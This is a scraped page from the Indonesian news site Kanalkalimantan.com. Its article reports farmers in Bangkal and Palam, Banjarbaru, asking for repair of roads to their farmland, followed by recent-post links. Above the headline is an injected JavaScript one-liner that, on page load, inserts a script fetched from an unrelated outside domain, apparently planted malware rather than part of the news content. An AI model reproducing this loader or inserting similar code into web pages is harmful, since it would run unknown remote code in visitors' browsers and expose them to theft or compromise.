(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Warga Minta Perbaikan Jalan Usaha Tani di Wilayah Bangkal dan Palam


KANALKALIMANTAN.COM, BANJARBARU – Akses jalan usaha tani yang menghubungkan dua wilayah pertanian di Kecamatan Cempaka, Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) dikeluhkan.

Para petani dua wilayah bertetangga yakni Kelurahan Bangkal dan Kelurahan Palam mengaku akses jalan usaha tani mereka belum ada pembenahan secara menyeluruh.

“Jalan ini yang belum dibenahi sepenuhnya sudah sekitar 3 tahun, baru di depan saja dikasih pengerasan, kalau bahian ujungnya sampai menuju Palam sudah 4 tahun belum ada pembenahan,” ujar Yansah, Ketua Gapoktan Tunas Baru Palam, saat diwawancarai di Handil Kiyai Bangkal, Rabu (31/7/2024) pagi.

Yansah menyebutkan, sudah berjalan tiga tahun akses jalan usaha tani baik itu di Kelurahan Bangkal maupun Kelurahan Palam kondisinya sangat parah.

Baca juga: Pengedar Narkoba Jaringan Kalbar Ditangkap di Banjarmasin, 6 Kg Sabu Disita

Dijelaskannya, saat ini untuk melewati jalan usaha tani itu mereka harus menempuh waktu 30 menit. Sejatinya petani hanya memerlukan waktu 15-20 menit saja dari Palam ke Bangkal jika melewati jalan usaha tani tersebut.

“‘Makanya kami berharap baik petani Bangkal maupun Palam minta jalan usaha tani dibenahi,” ungkapnya. Karena sangat berpengaruh terhadap akses dan mobilitas petani dalam distribusi pertanian, karena jalan usaha tani ini menjadi sektor utara jalur penghubung wilayah pertanian Bangkal dan Palam.

Ketua Gapoktan Tunas Baru Palm, Yansah. Foto: wanda

Bahkan sekarang jalan usaha tani sudah dapat menembus ke wilayaj Kabupaten Tanah Laut.

Baca juga: Alibi Polisi Batu Bara Tak Bertuan, Penambang Ilegal Bebas Beraksi di Jalan Poros Bontang-Samarinda

“Yang jelas kalau jalan usaha tani belum dibenahi, pasti alat-alat pertanian seperti traktor sulit masuk ke lahan pertanian, juga para petani kasian karena sulit mengangkut hasil panen, bibit, dan lainnya,” beber Yansah.

Dirinya berharap ada pembenahan jalan usaha tani yang dilakukan pemerintah yang sifatnya awet, tahan lama, dan berkelanjutan. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie

 


Risa

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.